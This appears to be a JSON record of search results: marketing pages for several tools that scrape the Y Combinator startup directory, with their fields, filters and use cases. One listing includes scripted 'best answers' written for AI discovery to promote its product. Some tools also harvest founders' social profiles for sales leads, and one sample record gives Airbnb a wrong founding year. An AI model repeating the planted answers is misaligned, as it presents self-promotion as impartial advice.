{ "id": "r611885b3a4e", "found": true, "parent_id": "rbe790af03de", "created_at": "2026-09-01 15:25:33.942466+00:00", "rows": [ { "url": "https://apify.com/automation-lab/ycombinator-scraper", "title": "Y Combinator Startups Scraper - Extract YC Company Data \u00b7 Apify", "content_head": "![Y Combinator Startups Scraper avatar](https://images.apifyusercontent.com/LfHq2NY8TsBznyR5IfOkiq9nBvaYT6c4G4hLCPcm97A/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vbnRIQ25oTlVrelhSN25iVVotYWN0b3ItZU5sVWdhaHJ0R1BzMWtaQ2MtejlDeXg1cmo1WC1hY3Rvci1pY29uLnBuZw.webp)\nY Combinator Startups Scraper\n\n[](/store)\n![Y Combinator Startups Scraper](https://images.apifyusercontent.com/LfHq2NY8TsBznyR5IfOkiq9nBvaYT6c4G4hLCPcm97A/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vbnRIQ25oTlVrelhSN25iVVotYWN0b3ItZU5sVWdhaHJ0R1BzMWtaQ2MtejlDeXg1cmo1WC1hY3Rvci1pY29uLnBuZw.webp)\n\n## What does Y Combinator Startups Scraper do?\n\n**Y Combinator Startups Scraper** extracts structured data from the [Y Combinator startup directory](https://www.ycombinator.com/companies). It uses the official YC API to collect company profiles including names, websites, descriptions, team sizes, batch info, industries, funding status, and hiring data.\n\nThe scraper covers **5,800+ YC-backed startups** from all batches (2005-present). Filter by batch (W24, S23), status (Active, Acquired, Public), industry, region, tags, or hiring status. No browser, no proxy, no login needed \u2014 pure HTTP API access.\n\nTry it now on Apify with the **\"Start\"** button \u2014 the prefilled input scrapes 25 AI startups in seconds.\n\n## Who is Y Combinator Startups Scraper for?\n\n**Venture Capital & Angel Investors**\n\n- Track new YC batches as they launch to discover investment opportunities early\n- Filter by industry + status to find active startups in your investment thesis\n- Monitor acquired/public companies for exit pattern analysis\n**Sales & Business Development Teams**\n\n- Build targeted lead lists of YC-backed companies by industry and team size\n- Identify companies currently hiring (growing = budget for new tools)\n- Enrich with website URLs for outbound prospecting campaigns\n**Market Researchers & Analysts**\n\n- Analyze YC batch composition trends across industries and regions\n- Track startup survival rates by batch vintage\n- Study which industries YC is betting on each season\n**Recruiters & Talent Teams**\n\n- Find YC startups that are actively hiring\n- Target companies by team size (early-stage vs growth-stage)\n- Build lists of potential employer partners by industry\n\n## Why use Y Combinator Startups Scraper?\n\n- **Reliable data source** \u2014 uses the official YC API, not fragile HTML scraping. No breakage when YC redesigns their website\n- **Complete coverage** \u2014 access all 5,800+ companies in the YC directory, including historical batches back to 2005\n- **Rich filtering** \u2014 search by keyword, batch, status, industry, region, tags, hiring status, and top company designation\n- **No proxy or login needed** \u2014 the YC API is public and free. Zero anti-bot measures\n- **Pay only for what you scrape** \u2014 PPE pricing means you pay per company extracted, not per run\n- **API-first** \u2014 integrate with any workflow via the Apify API" }, { "url": "https://apify.com/jungle_synthesizer/y-combinator-scraper", "title": "Y Combinator Companies Scraper \u00b7 Apify", "content_head": "![Y Combinator Companies Scraper avatar](https://images.apifyusercontent.com/pehZIX4R5LdRYvuen-8Kyo_QzAt1871kmSa0V-aHM8o/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vdHhtaXBaRkw5SHdTOWd3dGotYWN0b3ItN3BxNlBtcVVsTGIyRUFReUotbmVMa2VyZmhjcy15LWNvbWJpbmF0b3Itc2NyYXBlci5wbmc.webp)\nY Combinator Companies Scraper\n\n![Y Combinator Companies Scraper](https://images.apifyusercontent.com/pehZIX4R5LdRYvuen-8Kyo_QzAt1871kmSa0V-aHM8o/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vdHhtaXBaRkw5SHdTOWd3dGotYWN0b3ItN3BxNlBtcVVsTGIyRUFReUotbmVMa2VyZmhjcy15LWNvbWJpbmF0b3Itc2NyYXBlci5wbmc.webp)\n\nScrape company profiles from the [Y Combinator startup directory](https://www.ycombinator.com/companies). Returns name, website, one-liner, description, team size, location, industry, batch, funding stage, hiring status, and more \u2014 covering 5,900+ funded startups from W05 to the latest cohort.\n\n---\n\n## Y Combinator Companies Scraper Features\n\n- Extracts all 5,900+ public YC companies in a few API calls \u2014 no pagination headache, no browser required\n- Filters by YC batch using shorthand (W21) or full names (Winter 2021), industry, region, or hiring status\n- Supports full-text search across company names, descriptions, and one-liners\n- Returns 20 structured fields per company: name, slug, website, description, team size, stage, tags, and more\n- Pure API scraping against YC's Algolia index \u2014 no proxies needed, no rendering overhead\n- Handles Algolia key rotation automatically by extracting the key fresh from YC on each run\n\n---\n\n## What Can You Do With YC Company Data?\n\n- **Lead generation teams** \u2014 Build prospecting lists of active YC companies hiring in your target industry, filtered by batch and region\n- **VC and angel investors** \u2014 Track new cohort companies by batch, industry, and funding stage to find deals before they're oversubscribed\n- **Researchers and journalists** \u2014 Analyze trends across YC batches: industry distribution, hiring velocity, company survival rates\n- **Startup founders** \u2014 Research competitors and peers funded by YC, identify potential customers or co-founders\n- **Recruiters** \u2014 Filter YC companies currently hiring to source engineering and design talent from founder-led teams\n- **Market intelligence tools** \u2014 Feed into competitive intelligence platforms that monitor the startup ecosystem\n\n---\n\n## How Y Combinator Companies Scraper Works\n\n1. On each run, the scraper fetches the YC companies page and extracts the Algolia search key injected by YC's server \u2014 this keeps the actor working even as YC rotates keys.\n2. It posts search requests to YC's Algolia index (`YCCompany_production`) with your filters applied, pulling up to 1,000 companies per page.\n3. Each raw Algolia hit is transformed into a clean, typed record matching the output schema.\n4. Records are saved to the Apify dataset. A full run without filters returns all 5,900+ companies in under a " }, { "url": "https://orbtop.com/actors/y-combinator-scraper", "title": "Y Combinator Companies Scraper", "content_head": "# Y Combinator Companies Scraper\n\nLEAD GENERATIONSOCIAL MEDIA\n\n# Y Combinator Companies Scraper\n\nScrape company profiles from the [Y Combinator startup directory](https://www.ycombinator.com/companies). Returns name, website, one-liner, description, team size, location, industry, batch, funding stage, hiring status, and more \u2014 covering 5,900+ funded startups from W05 to the latest cohort.\n\n---\n\n## Y Combinator Companies Scraper Features\n\n- Extracts all 5,900+ public YC companies in one run \u2014 no pagination headache\n- Filters by YC batch using shorthand (W21) or full names (Winter 2021), industry, region, or hiring status\n- Supports full-text search across company names, descriptions, and one-liners\n- Returns 20 structured fields per company: name, slug, website, description, team size, stage, tags, and more\n- Quick and cheap per company, even across the full index\n- Handles Algolia key rotation automatically by extracting the key fresh from YC on each run\n\n---\n\n## What Can You Do With YC Company Data?\n\n- **Lead generation teams** \u2014 Build prospecting lists of active YC companies hiring in your target industry, filtered by batch and region\n- **VC and angel investors** \u2014 Track new cohort companies by batch, industry, and funding stage to find deals before they're oversubscribed\n- **Researchers and journalists** \u2014 Analyze trends across YC batches: industry distribution, hiring velocity, company survival rates\n- **Startup founders** \u2014 Research competitors and peers funded by YC, identify potential customers or co-founders\n- **Recruiters** \u2014 Filter YC companies currently hiring to source engineering and design talent from founder-led teams\n- **Market intelligence tools** \u2014 Feed into competitive intelligence platforms that monitor the startup ecosystem\n\n---\n\n## How Y Combinator Companies Scraper Works\n\n1. On each run, the scraper fetches the YC companies page and extracts the Algolia search key injected by YC's server \u2014 this keeps the actor working even as YC rotates keys.\n2. It posts search requests to YC's Algolia index (`YCCompany_production`) with your filters applied, pulling up to 1,000 companies per page.\n3. Each raw Algolia hit is transformed into a clean, typed record matching the output schema.\n4. Records are saved to the Apify dataset. A full run without filters returns all 5,900+ companies in under a minute.\n\n---\n\n## Input\n\n```json\n{\n \"maxItems\": 50,\n \"query\": \"climate\",\n \"batch\": \"W24\",\n \"industry\": \"Climatetech\",\n \"region\": \"United States of America\",\n \"hiring_only\": true\n}\n```\n\n| Field | Type | Default | Description |\n|---|---|---|---|\n| `maxItems` | integer | 10 | Maximum number of companies to return. Leave blank to return all matching companies. |\n| `query` | string | \u2014 | Full-text search query. Matches company names, one-liners, and descriptions. |\n| `batch` | string | \u2014 | Filter by YC batch. Accepts shorthand (W21, S22) or full name (Winter 2021, Summer 2022, Spring 2026). |\n| `industry` | string | \u2014 | Filter by industry. Exampl" }, { "url": "https://apify.com/scrapesage/ycombinator-scraper", "title": "Y Combinator Scraper - Companies, Founders & Jobs \u00b7 Apify", "content_head": "![Y Combinator Scraper \u2014 Companies, Founders & Jobs avatar](https://images.apifyusercontent.com/fdCcMCm7WmSg0UTygyxH9G3jYOP_AaFclffq5IeeqXk/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vS2ZJMkRCWGxKenl1QUZxTXotYWN0b3ItcXdZc2NCR2FOdTlqNmNROWMtVk9RaGdGeERoZS1ZX0NvbWJpbmF0b3IucG5n.webp)\nY Combinator Scraper \u2014 Companies, Founders & Jobs\n\n![Y Combinator Scraper \u2014 Companies, Founders & Jobs](https://images.apifyusercontent.com/fdCcMCm7WmSg0UTygyxH9G3jYOP_AaFclffq5IeeqXk/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vS2ZJMkRCWGxKenl1QUZxTXotYWN0b3ItcXdZc2NCR2FOdTlqNmNROWMtVk9RaGdGeERoZS1ZX0NvbWJpbmF0b3IucG5n.webp)\n\nExtract the **entire Y Combinator startup directory** \u2014 every company across every batch (W05 \u2192 the latest cohort) with the full profile **plus the data other YC scrapers skip**: **founders with their LinkedIn & Twitter/X**, **company social links** (LinkedIn, X, Facebook, GitHub, Crunchbase), the **YC group partner**, and **open job postings** with salary & equity ranges. Turn ~6,000 funded startups into a ready-to-use **B2B lead list, sourcing pipeline, or startup-intelligence dataset**.\n\nNo login, no cookies, no browser \u2014 it reads YC's own public Algolia directory and profile pages directly, with a built-in **monitor mode** that surfaces only new companies, batches, and jobs.\n\n## Why this Y Combinator scraper?\n\nMost YC scrapers dump the directory's basic columns and stop. This actor merges YC's public **Algolia index** (complete, fast, filterable) with each company's **profile page** to ship the **richest YC dataset available** \u2014 including founder contacts and company socials that make every row an actual lead.\n\n| Data | Typical YC scrapers | This actor |\n|---|---|---|\n| Company name, batch, status, team size, industry, location | \u2705 | \u2705 |\n| One-liner + full long description | partial | \u2705 |\n| Tags, sub-industry, region, stage, top-company flag | partial | \u2705 |\n| Company website | \u2705 | \u2705 |\n| **Founders** (name, title, bio) | \u274c | \u2705 |\n| **Founder LinkedIn & Twitter/X** | \u274c | \u2705 |\n| Company **LinkedIn / X / Facebook / GitHub / Crunchbase** | \u274c | \u2705 |\n| YC group partner, year founded, city/country | \u274c | \u2705 |\n| **Open jobs** (title, role, location, salary & equity) | \u274c | \u2705 opt-in |\n| Full directory past Algolia's 1,000-result cap | partial | \u2705 (batch-sliced) |\n| Monitor mode \u2014 only new companies / jobs | \u274c | \u2705 |\n\n## Use cases\n\n- **B2B lead generation** \u2014 every YC company is a funded, fast-moving buyer. Export them with website, founders, and founder LinkedIn/Twitter to feed your CRM or outreach.\n- **Sourcing & recruiting** \u2014 find founders and engineers by batch, industry, or tag; pull open roles with comp ranges straight from the directory.\n- **VC / competitive & market intelligence** \u2014 track every batch, watch which industries and tags are growing, and monitor competitors and portfolio companies.\n- **Sales prospecting to startups** \u2014 filter by" }, { "url": "https://parse.bot/marketplace/8191d50b-107d-4686-816f-2cbabef40f53/startups-rip-api", "title": "startups API \u2013 YC Startup Data & Research \u00b7 Parse", "content_head": "live\n\n# ![](https://www.google.com/s2/favicons?domain=startups.rip&sz=128)startups API[startups.rip \u2197](https://startups.rip)\n\nAccess data on 1,700+ Y Combinator startups via 5 endpoints. Search companies, browse batches, get status, founders, and full research reports.\n\nThis API takes change requests \u2014 .\n\nEndpoint health\n\nverified 2d ago\n\nsearch_companies\n\nlist_batches\n\nlist_companies_by_batch\n\nget_company\n\nget_similar_companies\n\n5/5 passing latest checkself-healing\n\nEndpoints\n\n5\n\nUpdated\n\n9d ago\n\n## What is the startups API?\n\nThe startups.rip API provides structured access to data on over 1,700 Y Combinator startups across 5 endpoints, covering company status, batch membership, founder details, and multi-section research reports. The `get_company` endpoint returns the most detail, including named report sections such as Overview, Founding Story, Timeline, Post-Mortem, and Key Lessons. The `list_batches` endpoint enumerates all 40 YC cohorts from Summer 2005 through Spring 2025 along with 145 company categories.\n\nThis call costs1 credit / call\u2014 charged only on success\n\nTry it\n\nMax results to return (server caps at 20).\n\nSearch keyword (e.g., 'airbnb', 'marketplace', 'fintech')\n\n\u2192 api.parse.bot/scraper/3876c01f-dff8-4fd4-bd20-51dcd34ebaf0/\n\nReady to send\n\nFill in the parameters and hit sign in to send to see live response data here.\n\nCall it over HTTPgrab a free API key at signup\n\n```\ncurl -X GET 'https://api.parse.bot/scraper/3876c01f-dff8-4fd4-bd20-51dcd34ebaf0/search_companies?limit=5&query=fintech' \\\n -H 'X-API-Key: $PARSE_API_KEY'\n```\n\nAll endpoints \u00b7 5 totalmissing one? \u00b7\n\nFull-text search over YC startups by keyword. Matches against company name, one-liner, and category. Returns up to 20 results per call with basic info. No pagination beyond the server cap of 20 results per query.\n\nInput\n\n| Param | Type | Description |\n|---|---|---|\n| limit | integer | Max results to return (server caps at 20). |\n| queryrequired | string | Search keyword (e.g., 'airbnb', 'marketplace', 'fintech') |\n\nResponse\n\n```\n{\n \"type\": \"object\",\n \"fields\": {\n \"count\": \"number of results returned\",\n \"query\": \"search keyword echoed back\",\n \"results\": \"array of company summary objects with id, slug, name, batch, oneLiner, category, status, founders, foundedYear, is_free, isFreeReport, isLocked\"\n },\n \"sample\": {\n \"data\": {\n \"count\": 20,\n \"query\": \"airbnb\",\n \"results\": [\n {\n \"id\": \"1\",\n \"name\": \"Airbnb\",\n \"slug\": \"airbnb\",\n \"batch\": \"Winter 2009\",\n \"status\": \"public\",\n \"is_free\": false,\n \"category\": \"Marketplace\",\n \"founders\": [],\n \"isLocked\": true,\n \"oneLiner\": \"Book accommodations around the world.\",\n \"foundedYear\": 2020,\n \"isFreeReport\": false\n }\n ]\n },\n \"status\": \"success\"\n }\n}\n```\n\n## About the startups API\n\n### What the API Covers\n\nThe API indexes Y Combinator portfolio companies and surfaces st" }, { "url": "https://apify.com/haketa/ycombinator-companies-scraper", "title": "YC Companies Scraper | Algolia Startup Directory \u00b7 Apify", "content_head": "![YCombinator Companies Scraper | 5,900+ YC Startup Directory avatar](https://images.apifyusercontent.com/dB0PXz8DSQJX1CHLfDMyOrUEQ-kqIto-tVHqeBqJYw8/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vaExlVmUxWExQbE80b3htaXotYWN0b3ItRkR4Tk5ZTWJEUDlhdEFKZWQtVDY4ZmhVbHlNSi1JTUdfMDE4My5wbmc.webp)\nYCombinator Companies Scraper | 5,900+ YC Startup Directory\n\n![YCombinator Companies Scraper | 5,900+ YC Startup Directory](https://images.apifyusercontent.com/dB0PXz8DSQJX1CHLfDMyOrUEQ-kqIto-tVHqeBqJYw8/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vaExlVmUxWExQbE80b3htaXotYWN0b3ItRkR4Tk5ZTWJEUDlhdEFKZWQtVDY4ZmhVbHlNSi1JTUdfMDE4My5wbmc.webp)\n\n# YCombinator Companies Scraper \u2014 5,900+ YC Startup Directory Extractor for Sales, Recruiting, VC Research & Competitive Intelligence\n\n> **The fastest, most complete Y Combinator startup directory extractor on Apify.** Pull every funded YC company since 2005 \u2014 name, website, batch, status, stage, team size, industry, tags, region, hiring flag, launched-at, logo \u2014 straight from the **official Algolia search backend** that powers `ycombinator.com/companies`. Zero browsers, zero anti-bot, ideal ICP data for B2B SaaS sales prospecting, recruiter intel, VC analytics, and competitive landscape mapping.\n\n[![Apify Actor](https://img.shields.io/badge/Apify-Actor-blue)](/haketa/ycombinator-companies-scraper)\n\n---\n\n## What This Actor Does\n\nThe **YCombinator Companies Scraper** is a production-grade Apify Actor that extracts the **complete Y Combinator funded startup directory** \u2014 every company that has ever been backed by YC since the IK12 (Independent Kickstart 2012) era through every subsequent Winter, Summer, Spring, and Fall batch up to the latest cohort. As of the current snapshot, that's **5,916 funded companies** spanning early-stage seed bets to publicly traded YC alumni like Airbnb, Coinbase, DoorDash, and Stripe.\n\nUnder the hood, the actor talks **directly to YC's official Algolia search backend** \u2014 the very same `45BWZJ1SGC` Algolia app and `YCCompany_production` index that power the search box, filters, and infinite scroll on **ycombinator.com/companies**. No headless browser. No HTML parsing. No anti-bot to dodge. Just polite, low-concurrency HTTP `POST` calls to the public Algolia REST endpoint with the `ycdc_public` tag filter that YC explicitly publishes for client-side use.\n\nIn a single run (typically **5 seconds for 50 records, ~5 minutes for the full 5,916-company catalog via batch fan-out**), the actor returns richly normalized JSON records covering:\n\n- **Companies** \u2014 every YC-funded startup (Active, Acquired, Public, Inactive)\n- **Stages** \u2014 Seed, Early, Growth \u2014 useful for filtering to post-funding ICP\n- **Industries** \u2014 B2B, Consumer, Fintech, Healthcare, Government, Education, Real Estate & Construction, Industrials and more\n- **Regions** \u2014 United States of America, Europe, India, Asia, Latin America, " }, { "url": "https://apify.com/fetch_cat/y-combinator-companies-scraper", "title": "Y Combinator Companies Scraper | YC Company Data \u00b7 Apify", "content_head": "![Y Combinator Companies Scraper avatar](https://images.apifyusercontent.com/59i32cqb5So_d9Qc_QFztj8Ms2UUo521v6bZh7FkGUE/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vSElNVTB4a3R1MUplWmI0WGwtYWN0b3ItT2hXMTlzdFlDZTllcmh1Z0Itb3JhbzRpTXBlSy1hY3Rvci1pY29uLnBuZw.webp)\nY Combinator Companies Scraper\n\n![Y Combinator Companies Scraper](https://images.apifyusercontent.com/59i32cqb5So_d9Qc_QFztj8Ms2UUo521v6bZh7FkGUE/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vSElNVTB4a3R1MUplWmI0WGwtYWN0b3ItT2hXMTlzdFlDZTllcmh1Z0Itb3JhbzRpTXBlSy1hY3Rvci1pY29uLnBuZw.webp)\n\nExtract structured company data from the public Y Combinator company directory. Search by keyword, filter by YC batch, industry, tag, region, hiring status, or company status, and export clean records for sales, recruiting, investment research, market mapping, and startup monitoring.\n\n## What does Y Combinator Companies Scraper do?\n\nY Combinator Companies Scraper turns YC's public company directory into a structured dataset. Give it a keyword such as `ai`, a batch such as `Summer 2024`, or filters such as `B2B`, `Europe`, and `isHiring`, and the actor returns matching YC-backed companies.\n\nThe dataset includes company names, websites, descriptions, batches, industries, regions, tags, team sizes, hiring flags, launch status, YC profile URLs, logos, and timestamps. You can also enable profile details to include public founder names and social links when they are visible on YC profile pages.\n\n## Who is it for?\n\n- \ud83d\ude80 **Sales teams** building account lists of fast-growing YC-backed companies.\n- \ud83d\udcbc **Recruiters** looking for startups that are currently hiring.\n- \ud83d\udcc8 **Investors and analysts** tracking cohorts, categories, and regions across YC batches.\n- \ud83e\udded **Market researchers** mapping startup activity in sectors such as AI, fintech, healthcare, climate, and developer tools.\n- \ud83e\uddf1 **Data platforms** enriching company databases with public YC metadata.\n- \ud83d\udcf0 **Journalists and newsletter writers** following new YC launches and startup trends.\n\n## Why use this actor?\n\nYC company information is useful, but manually searching the directory is slow and hard to repeat. This actor gives you a repeatable, API-friendly way to collect the public records you need.\n\nBenefits include:\n\n- \ud83d\udd0e Keyword search across public YC company information.\n- \ud83c\udfaf Filters for batch, industry, tag, region, hiring status, and launch status.\n- \ud83d\udce6 Export-ready JSON, CSV, Excel, XML, and API access through Apify datasets.\n- \ud83e\uddd1\u200d\ud83d\udcbc Optional founder enrichment from public profile pages.\n- \u23f1\ufe0f Lightweight runs for quick lead lists and larger market maps.\n\n## What data can I extract?\n\nWhat data can I extract?\n| Field | Description |\n|---|---|\n| `id` | YC company identifier when available |\n| `name` | Company name |\n| `slug` | YC profile slug |\n| `url` | Best company URL, usually the external website |\n| `ycUrl` | Public YC company profile URL |\n| `batch`" }, { "url": "https://apify.com/straightforward_hydra/yc-companies", "title": "Y Combinator Companies \u2014 Full Startup Directory \u00b7 Apify", "content_head": "![Y Combinator Companies \u2014 Full Startup Directory avatar](https://apify.com/img/store/actor_picture.svg)\nY Combinator Companies \u2014 Full Startup Directory\n\n![Y Combinator Companies \u2014 Full Startup Directory](https://apify.com/img/store/actor_picture.svg)\n\n# Y Combinator Companies \u2014 Full Startup Directory \ud83d\ude80\n\n**Every Y Combinator company (~6,000) as clean, structured rows \u2014 batch, industry, status, stage, team size, location, tags, description and website. Search, filter, or export the whole directory. No API key.**\n\nY Combinator has funded the startups behind Airbnb, Stripe, DoorDash, Coinbase, Instacart and thousands more. This Actor turns YC's public company directory into a structured dataset you can query, filter, or pull in full \u2014 ideal for sourcing, competitive research, recruiting, market maps and lead lists.\n\n---\n\n## Three modes\n\nThree modes\n| Mode | What you get |\n|---|---|\n| **search** | Companies matching a free-text query and/or filters \u2014 full profile per company. Leave the query empty to export the entire directory (optionally narrowed by filters). |\n| **batch** | Every company from a single batch, e.g. `W24` or `Summer 2021`. |\n| **digest** | One aggregate row: company counts by batch, industry, sub-industry, status, stage, region and tag \u2014 a snapshot of the whole YC portfolio. |\n\n## Each company row\n\n`name` \u00b7 `batch` \u00b7 `status` (Active / Inactive / Acquired / Public) \u00b7 `stage` \u00b7 `industry` \u00b7 `subindustry` \u00b7 `tags` \u00b7 `team_size` \u00b7 `location` \u00b7 `regions` \u00b7 `one_liner` \u00b7 `long_description` \u00b7 `website` \u00b7 `yc_url` \u00b7 `is_hiring` \u00b7 `top_company` \u00b7 `nonprofit` \u00b7 `former_names` \u00b7 `launched_at` \u00b7 `logo`.\n\n## Examples\n\n**AI startups from the latest batch**\n\n```\n```\n\n**All fintech companies, active only**\n\n```\n```\n\n**Everyone hiring in a batch**\n\n```\n```\n\n**Growth-stage companies with 100+ people**\n\n```\n```\n\n**Portfolio snapshot**\n\n```\n```\n\n**Export the entire directory**\n\n```\n```\n\n## Filters (search mode)\n\n`batch` \u00b7 `industry` \u00b7 `subindustry` \u00b7 `status` \u00b7 `stage` \u00b7 `region` \u00b7 `tag` \u00b7 `hiringOnly` \u00b7 `topCompaniesOnly` \u00b7 `nonprofit` \u00b7 `minTeamSize` / `maxTeamSize`. Combine any of them; they're AND-ed together.\n\n## Run it on a schedule\n\nSchedule a run to catch each new YC batch the day it's announced, keep a live lead list of companies that are hiring, or track status changes (which startups got acquired or went public) over time.\n\n## Notes\n\n- **No API key.** Reads the same public directory endpoint the YC website itself uses.\n- Batch shorthand is accepted: `W24` \u2192 *Winter 2024*, `S21` \u2192 *Summer 2021*.\n- Large pulls (e.g. a whole industry, or the full directory) are fetched batch-by-batch automatically so you always get the complete set, not just the first page.\n- Data source: [Y Combinator company directory](https://www.ycombinator.com/companies) \u2014 public, non-personal company information.\n\n---\n\n### Keywords\n\nY Combinator, YC, YC companies, startup directory, startup database, YC batch, startup data, venture capital, VC data, startup leads, founder" }, { "url": "https://apify.com/logiover/y-combinator-companies-directory-scraper", "title": "Y Combinator Companies Directory Scraper \u00b7 Apify", "content_head": "![Y Combinator Companies Directory Scraper avatar](https://images.apifyusercontent.com/MVYWqAhQ9EIWEwDcA9-Us471gESNHmr05_UCFXdz9m8/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vR2pTNm5ROHFhdU9kcTlLR3ktYWN0b3ItMjNxODhsUTBGMWJKZzRaMkUtUnh5cUNOVm5WaS1ZX0NvbWJpbmF0b3JfbG9nby5zdmcucG5n.webp)\nY Combinator Companies Directory Scraper\n\n![Y Combinator Companies Directory Scraper](https://images.apifyusercontent.com/MVYWqAhQ9EIWEwDcA9-Us471gESNHmr05_UCFXdz9m8/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vR2pTNm5ROHFhdU9kcTlLR3ktYWN0b3ItMjNxODhsUTBGMWJKZzRaMkUtUnh5cUNOVm5WaS1ZX0NvbWJpbmF0b3JfbG9nby5zdmcucG5n.webp)\n\nScrape **all 5900+ Y Combinator portfolio companies** across every batch from 2005 onward. Returns name, batch, status, founders (with LinkedIn/Twitter), website, descriptions, industry, subindustry, tags, team size, location, launch year, hiring status.\n\nUses a daily-refreshed open data mirror of YC's official directory (no auth, no key) plus optional per-company page scrape for founders + launches.\n\n## Features\n\n- Get every YC company in one call (~6000 records, ~3 MB)\n- Rich filtering: batch, industry, subindustry, status, team size range, country/location, tags, free-text\n- Optional: enrich each company with founders (name, role, LinkedIn, Twitter, bio) and launch posts\n- All YC batches: from S05 to W26\n- Stable schema across the run \u2014 handles YC's occasional field renames\n\n## Input\n\n```\n { \"filters\" : { \"batch\" : \"W26\" , \"industry\" : \"B2B\" , \"status\" : \"Active\" , \"minTeamSize\" : 5 , \"location\" : \"United States\" , \"tags\" : [ \"AI\" ] , \"isHiring\" : true } , \"searchQuery\" : \"agent\" , \"maxResults\" : 100 , \"fetchCompanyPageDetails\" : false }\n```\n\n| Field | Type | Default | Notes |\n|---|---|---|---|\n| `filters` | object | `{}` | Combined AND. Empty = all companies |\n| `searchQuery` | string | \"\" | Substring match on name + one_liner + long_description |\n| `maxResults` | int | 100 | Cap returned (full directory ~6000) |\n| `fetchCompanyPageDetails` | bool | false | +1 HTTP req per company for founders & launches |\n\n### Filter fields\n\nFilter fields\n| Key | Match | Example |\n|---|---|---|\n| `batch` | exact | `\"W26\"`, `\"S25\"`, `\"W24\"`, etc. |\n| `status` | exact | `\"Active\"`, `\"Acquired\"`, `\"Inactive\"` |\n| `industry` | substring | `\"B2B\"`, `\"Consumer\"`, `\"Fintech\"`, `\"Healthcare\"` |\n| `subindustry` | substring | `\"Marketing\"`, `\"Devtools\"` |\n| `location` | substring | `\"San Francisco\"`, `\"London\"` |\n| `country` | substring | `\"United States\"`, `\"India\"` |\n| `minTeamSize` / `maxTeamSize` | range | `5`, `100` |\n| `tags` | all-required | `[\"AI\", \"Productivity\"]` |\n| `isHiring` | exact | `true` |\n\n## Output\n\n```\n { \"id\" : 12345 , \"name\" : \"Acme AI\" , \"slug\" : \"acme-ai\" , \"formerNames\" : [ ] , \"batch\" : \"W26\" , \"status\" : \"Active\" , \"oneLiner\" : \"AI agents for customer support\" , \"longDescription\" : \"Acme AI builds autonomous agents that...\" , \"websit" }, { "url": "https://apify.com/lead.gen.labs/y-combinator-companies-directory-scraper", "title": "Y Combinator Companies Directory Scraper \u00b7 Apify", "content_head": "![Y Combinator Companies Directory Scraper avatar](https://apify.com/img/store/actor_picture.svg)\nY Combinator Companies Directory Scraper\n\n![Y Combinator Companies Directory Scraper](https://apify.com/img/store/actor_picture.svg)\n\n## What does Y Combinator Companies Directory Scraper do?\n\n**Y Combinator Companies Directory Scraper** collects public company profiles from the YC Startup Directory. It supports keyword, batch, industry, region, stage, status, tag, top-company, nonprofit, and hiring filters, then saves normalized company details and founder details.\n\nDefault public source:\n\n- [https://www.ycombinator.com/companies](https://www.ycombinator.com/companies)\n\n## Why use Y Combinator Companies Directory Scraper?\n\nThis Actor is designed for startup research, sales prospecting, VC sourcing, recruiting, enrichment, market maps, and founder research. It uses the same public YC directory data source exposed by the page and optionally enriches records from public company profile pages.\n\n## SEO and AEO discovery\n\nSEO keywords: YC company directory, Y Combinator startups, YC founder leads, YC startup database, YC batch companies, startup directory scraper, YC company profiles.\n\nAEO for AI discovery:\n\n- Best answer for \"How do I export YC companies?\": use this Actor with `max_companies` and optional filters.\n- Best answer for \"Can I get YC founder details?\": yes, enable `include_founders`.\n- Best answer for \"Can I filter YC companies by hiring?\": yes, use `only_hiring` or the companion YC Hiring Startup Leads Monitor.\n\n## How to use Y Combinator Companies Directory Scraper\n\n1. Open the **Input** tab.\n2. Add a `query` or leave it blank for broad directory scraping.\n3. Add optional filters such as `batches`, `industries`, `regions`, `statuses`, and `tags`.\n4. Keep `enrich_company_pages` enabled for founders and company social links.\n5. Start the Actor and inspect the dataset.\n\n## Input\n\nInput\n| Field | Description |\n|---|---|\n| `query` | Keyword search across YC directory records. |\n| `batches` | YC batch filters such as Summer 2026 or Winter 2025. |\n| `industries` | Industry filters such as B2B, Consumer, Healthcare, or Fintech. |\n| `regions` | Region filters such as Remote, United States of America, India, or Europe. |\n| `statuses` | Company status filters such as Active, Acquired, Inactive, or Public. |\n| `tags` | YC tag filters such as AI, SaaS, Marketplace, or Developer Tools. |\n| `only_hiring` | Limit records to companies marked as hiring. |\n| `max_companies` | Maximum YC company profiles to save. |\n| `enrich_company_pages` | Fetch YC profile pages for founders, socials, and jobs. |\n| `include_founders` | Include public founder details. |\n| `include_jobs` | Include public YC job postings when present. |\n\n## Output\n\n```\n { \"actor\" : 